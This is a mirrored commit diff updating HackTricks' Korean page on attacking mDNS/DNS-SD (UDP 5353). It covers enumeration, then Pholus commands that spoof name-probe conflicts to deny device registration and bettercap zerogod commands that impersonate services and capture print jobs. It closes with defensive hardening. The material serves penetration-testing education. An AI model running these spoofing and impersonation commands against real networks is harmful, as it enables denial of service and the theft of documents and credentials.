mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/5353-udp-multicast-dns-mdns
This commit is contained in:
parent
6f14db9ba0
commit
16e28c67a9
@ -65,7 +65,7 @@ def ref(matchobj):
|
||||
dir = path.dirname(current_chapter['source_path'])
|
||||
rel_path = path.normpath(path.join(dir,href))
|
||||
try:
|
||||
logger.debug(f'Error getting chapter title: {href} trying with relative path {rel_path}')
|
||||
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
|
||||
if "#" in href:
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
|
@ -2,53 +2,143 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **기본 정보**
|
||||
## 기본 정보
|
||||
|
||||
**Multicast DNS (mDNS)**는 전통적인 DNS 서버 없이 로컬 네트워크 내에서 **DNS와 유사한 작업**을 가능하게 합니다. **UDP 포트 5353**에서 작동하며, 장치들이 서로 및 그들의 서비스를 발견할 수 있게 해주며, 다양한 IoT 장치에서 일반적으로 볼 수 있습니다. **DNS Service Discovery (DNS-SD)**는 mDNS와 함께 사용되며, 표준 DNS 쿼리를 통해 네트워크에서 사용 가능한 서비스를 식별하는 데 도움을 줍니다.
|
||||
Multicast DNS (mDNS)는 유니캐스트 DNS 서버 없이 로컬 링크 내에서 DNS와 유사한 이름 해석 및 서비스 검색을 가능하게 합니다. 이는 UDP/5353 및 멀티캐스트 주소 224.0.0.251 (IPv4)와 FF02::FB (IPv6)를 사용합니다. DNS 서비스 검색 (DNS-SD, 일반적으로 mDNS와 함께 사용됨)은 PTR, SRV 및 TXT 레코드를 통해 서비스를 열거하고 설명하는 표준화된 방법을 제공합니다.
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
5353/udp open zeroconf
|
||||
```
|
||||
### **mDNS의 작동**
|
||||
Key protocol details you’ll often leverage during attacks:
|
||||
- .local 영역의 이름은 mDNS를 통해 해결됩니다.
|
||||
- QU (Query Unicast) 비트는 멀티캐스트 질문에 대해서도 유니캐스트 응답을 요청할 수 있습니다.
|
||||
- 구현은 로컬 링크에서 출발하지 않은 패킷을 무시해야 하지만, 일부 스택은 여전히 이를 수용합니다.
|
||||
- 프로빙/발표는 고유한 호스트/서비스 이름을 강제합니다; 여기서 간섭하면 DoS/“이름 점유” 조건이 발생합니다.
|
||||
|
||||
표준 DNS 서버가 없는 환경에서 mDNS는 장치가 **.local**로 끝나는 도메인 이름을 해결할 수 있도록 **224.0.0.251** (IPv4) 또는 **FF02::FB** (IPv6) 멀티캐스트 주소를 쿼리합니다. mDNS의 중요한 측면에는 레코드 유효성을 나타내는 **Time-to-Live (TTL)** 값과 유니캐스트 쿼리와 멀티캐스트 쿼리를 구분하는 **QU 비트**가 포함됩니다. 보안 측면에서 mDNS 구현은 패킷의 출발지 주소가 로컬 서브넷과 일치하는지 확인하는 것이 중요합니다.
|
||||
## DNS-SD 서비스 모델
|
||||
|
||||
### **DNS-SD의 기능**
|
||||
서비스는 .local 아래에서 _<service>._tcp 또는 _<service>._udp로 식별됩니다. 예: _ipp._tcp.local (프린터), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge) 등. _services._dns-sd._udp.local로 유형을 발견한 후, 발견된 인스턴스를 SRV/TXT/A/AAAA로 해결합니다.
|
||||
|
||||
DNS-SD는 서비스 유형을 해당 인스턴스에 매핑하는 포인터 레코드(PTR)를 쿼리하여 네트워크 서비스의 발견을 용이하게 합니다. 서비스는 **.local** 도메인 내에서 **\_\<Service>.\_tcp 또는 \_\<Service>.\_udp** 패턴을 사용하여 식별되며, 이는 해당 **SRV** 및 **TXT 레코드**의 발견으로 이어져 상세한 서비스 정보를 제공합니다.
|
||||
## 네트워크 탐색 및 열거
|
||||
|
||||
### **네트워크 탐색**
|
||||
|
||||
#### **nmap 사용법**
|
||||
|
||||
mDNS 서비스를 위해 로컬 네트워크를 스캔하는 유용한 명령은:
|
||||
- nmap 대상 스캔 (호스트에서 직접 mDNS):
|
||||
```bash
|
||||
nmap -Pn -sUC -p5353 [target IP address]
|
||||
nmap -sU -p 5353 --script=dns-service-discovery <target>
|
||||
```
|
||||
이 명령은 열려 있는 mDNS 포트와 그 위에서 광고되는 서비스를 식별하는 데 도움이 됩니다.
|
||||
|
||||
#### **Pholus를 이용한 네트워크 열거**
|
||||
|
||||
mDNS 요청을 적극적으로 보내고 트래픽을 캡처하기 위해 **Pholus** 도구를 다음과 같이 사용할 수 있습니다:
|
||||
- nmap 브로드캐스트 발견 (세그먼트를 듣고 모든 DNS-SD 유형/인스턴스를 열거):
|
||||
```bash
|
||||
sudo python3 pholus3.py [network interface] -rq -stimeout 10
|
||||
sudo nmap --script=broadcast-dns-service-discovery
|
||||
```
|
||||
- avahi-browse (Linux):
|
||||
```bash
|
||||
# 서비스 유형 목록
|
||||
avahi-browse -bt _services._dns-sd._udp
|
||||
# 모든 서비스 탐색 및 호스트/포트로 해결
|
||||
avahi-browse -art
|
||||
```
|
||||
- Apple dns-sd (macOS):
|
||||
```bash
|
||||
# 모든 HTTP 서비스 탐색
|
||||
dns-sd -B _http._tcp
|
||||
# 서비스 유형 열거
|
||||
dns-sd -B _services._dns-sd._udp
|
||||
# 특정 인스턴스를 SRV/TXT로 해결
|
||||
dns-sd -L "My Printer" _ipp._tcp local
|
||||
```
|
||||
- tshark로 패킷 캡처:
|
||||
```bash
|
||||
# 실시간 캡처
|
||||
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
|
||||
# 오직 DNS-SD 서비스 목록 쿼리
|
||||
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
|
||||
```
|
||||
|
||||
Tip: 일부 브라우저/WebRTC는 로컬 IP를 숨기기 위해 임시 mDNS 호스트 이름을 사용합니다. 랜덤-UUID.local 후보가 네트워크에 보이면, mDNS로 해결하여 로컬 IP로 전환하세요.
|
||||
|
||||
## 공격
|
||||
|
||||
### **mDNS 프로빙 악용**
|
||||
### mDNS 이름 프로빙 간섭 (DoS / 이름 점유)
|
||||
|
||||
공격 벡터는 mDNS 프로브에 위조된 응답을 보내는 것으로, 모든 잠재적인 이름이 이미 사용 중임을 제안하여 새로운 장치가 고유한 이름을 선택하는 것을 방해합니다. 이는 다음을 사용하여 실행할 수 있습니다:
|
||||
프로빙 단계에서 호스트는 이름의 고유성을 확인합니다. 스푸핑된 충돌로 응답하면 새로운 이름을 선택하거나 실패하도록 강제합니다. 이는 서비스 등록 및 발견을 지연시키거나 방지할 수 있습니다.
|
||||
|
||||
Example with Pholus:
|
||||
```bash
|
||||
sudo python pholus.py [network interface] -afre -stimeout 1000
|
||||
# Block new devices from taking names by auto-faking responses
|
||||
sudo python3 pholus3.py <iface> -afre -stimeout 1000
|
||||
```
|
||||
이 기술은 새로운 장치가 네트워크에 서비스 등록을 차단하는 데 효과적입니다.
|
||||
### 서비스 스푸핑 및 사칭 (MitM)
|
||||
|
||||
**요약하자면**, mDNS와 DNS-SD의 작동 방식을 이해하는 것은 네트워크 관리 및 보안에 매우 중요합니다. **nmap** 및 **Pholus**와 같은 도구는 로컬 네트워크 서비스에 대한 귀중한 통찰력을 제공하며, 잠재적인 취약점에 대한 인식은 공격으로부터 보호하는 데 도움이 됩니다.
|
||||
광고된 DNS-SD 서비스를 사칭하여 (프린터, AirPlay, HTTP, 파일 공유) 클라이언트가 당신에게 연결하도록 유도합니다. 이는 특히 다음에 유용합니다:
|
||||
- _ipp._tcp 또는 _printer._tcp를 스푸핑하여 문서를 캡처합니다.
|
||||
- 클라이언트를 HTTP/HTTPS 서비스로 유도하여 토큰/쿠키를 수집하거나 페이로드를 전달합니다.
|
||||
- Windows 클라이언트가 사칭된 서비스에 대한 인증을 협상할 때 NTLM 릴레이 기술과 결합합니다.
|
||||
|
||||
### 스푸핑/중간자 공격
|
||||
bettercap의 zerogod 모듈(mDNS/DNS-SD 스푸퍼/사칭자) 사용:
|
||||
```bash
|
||||
# Start mDNS/DNS-SD discovery
|
||||
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
|
||||
|
||||
이 서비스에서 수행할 수 있는 가장 흥미로운 공격은 **클라이언트와 실제 서버 간의 통신에서 MitM**을 수행하는 것입니다. 민감한 파일(프린터와의 통신 MitM)이나 자격 증명(Windows 인증)을 얻을 수 있을지도 모릅니다.\
|
||||
자세한 내용은 다음을 확인하세요:
|
||||
# Show all services seen from a host
|
||||
> zerogod.show 192.168.1.42
|
||||
|
||||
# Impersonate all services of a target host automatically
|
||||
> zerogod.impersonate 192.168.1.42
|
||||
|
||||
# Save IPP print jobs to disk while impersonating a printer
|
||||
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
|
||||
> zerogod.impersonate 192.168.1.42
|
||||
|
||||
# Replay previously captured services
|
||||
> zerogod.save 192.168.1.42 target.yml
|
||||
> zerogod.advertise target.yml
|
||||
```
|
||||
또한 일반 LLMNR/NBNS/mDNS/WPAD 스푸핑 및 자격 증명 캡처/릴레이 워크플로를 참조하십시오:
|
||||
|
||||
{{#ref}}
|
||||
../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
### 최근 구현 문제에 대한 노트 (참여 중 DoS/지속성에 유용)
|
||||
|
||||
- Avahi reachable-assertion 및 D-Bus 충돌 버그(2023)는 Linux 배포판에서 avahi-daemon을 종료시킬 수 있으며, 이는 재시작할 때까지 대상 호스트에서 서비스 검색을 방해합니다.
|
||||
- Cisco IOS XE 무선 LAN 컨트롤러 mDNS 게이트웨이 DoS(2024, CVE-2024-20303)는 인접 공격자가 높은 CPU를 유도하고 AP를 연결 해제할 수 있게 합니다. VLAN 간에 mDNS 게이트웨이를 발견하면 잘못된 형식이나 높은 비율의 mDNS에 대한 안정성에 유의하십시오.
|
||||
|
||||
## 방어적 고려사항 및 OPSEC
|
||||
|
||||
- 세그먼트 경계: mDNS 게이트웨이가 명시적으로 필요하지 않는 한 보안 구역 간에 224.0.0.251/FF02::FB를 라우팅하지 마십시오. 검색을 브리징해야 하는 경우 허용 목록 및 비율 제한을 선호하십시오.
|
||||
- Windows 엔드포인트/서버:
|
||||
- mDNS를 통한 이름 해제를 강제로 비활성화하려면 레지스트리 값을 설정하고 재부팅하십시오:
|
||||
```
|
||||
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
|
||||
```
|
||||
- 관리되는 환경에서는 내장된 “mDNS (UDP-In)” Windows Defender 방화벽 규칙(최소한 도메인 프로필에서)을 비활성화하여 홈/로밍 기능을 유지하면서 수신 mDNS 처리를 방지하십시오.
|
||||
- 최신 Windows 11 빌드/GPO 템플릿에서는 “컴퓨터 구성 > 관리 템플릿 > 네트워크 > DNS 클라이언트 > 멀티캐스트 DNS(mDNS) 프로토콜 구성” 정책을 사용하고 이를 비활성화로 설정하십시오.
|
||||
- Linux (Avahi):
|
||||
- 필요하지 않을 때 게시를 잠그십시오: `disable-publishing=yes`를 설정하고 `/etc/avahi/avahi-daemon.conf`에서 `allow-interfaces=` / `deny-interfaces=`로 인터페이스를 제한하십시오.
|
||||
- `check-response-ttl=yes`를 고려하고 엄격히 필요하지 않는 한 `enable-reflector=yes`를 피하십시오; 반사할 때는 `reflect-filters=` 허용 목록을 선호하십시오.
|
||||
- macOS: 특정 서브넷에 대해 Bonjour 검색이 필요하지 않을 때 호스트/네트워크 방화벽에서 수신 mDNS를 제한하십시오.
|
||||
- 모니터링: `_services._dns-sd._udp.local` 쿼리의 비정상적인 급증이나 중요한 서비스의 SRV/TXT의 갑작스러운 변화를 경고하십시오; 이는 스푸핑 또는 서비스 사칭의 지표입니다.
|
||||
|
||||
## 도구 빠른 참조
|
||||
|
||||
- nmap NSE: `dns-service-discovery` 및 `broadcast-dns-service-discovery`.
|
||||
- Pholus: 능동 스캔, 역 mDNS 스윕, DoS 및 스푸핑 도우미.
|
||||
```bash
|
||||
# 수동 스니프 (타임아웃 초)
|
||||
sudo python3 pholus3.py <iface> -stimeout 60
|
||||
# 서비스 유형 열거
|
||||
sudo python3 pholus3.py <iface> -sscan
|
||||
# 일반 mDNS 요청 전송
|
||||
sudo python3 pholus3.py <iface> --request
|
||||
# 서브넷의 역 mDNS 스윕
|
||||
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
|
||||
```
|
||||
- bettercap zerogod: mDNS/DNS-SD 서비스를 발견, 저장, 광고 및 사칭합니다(위의 예 참조).
|
||||
|
||||
## 스푸핑/MitM
|
||||
|
||||
이 서비스에서 수행할 수 있는 가장 흥미로운 공격은 클라이언트와 실제 서버 간의 통신에서 MitM을 수행하는 것입니다. 민감한 파일(프린터와의 통신을 MitM)이나 자격 증명(Windows 인증)을 얻을 수 있을지도 모릅니다.\
|
||||
자세한 내용은 다음을 확인하십시오:
|
||||
|
||||
{{#ref}}
|
||||
../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
@ -57,5 +147,7 @@ sudo python pholus.py [network interface] -afre -stimeout 1000
|
||||
## 참고문헌
|
||||
|
||||
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical_IoT_Hacking.html?id=GbYEEAAAQBAJ&redir_esc=y)
|
||||
- [Nmap NSE: broadcast-dns-service-discovery](https://nmap.org/nsedoc/scripts/broadcast-dns-service-discovery.html)
|
||||
- [bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)](https://www.bettercap.org/modules/ethernet/zerogod/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user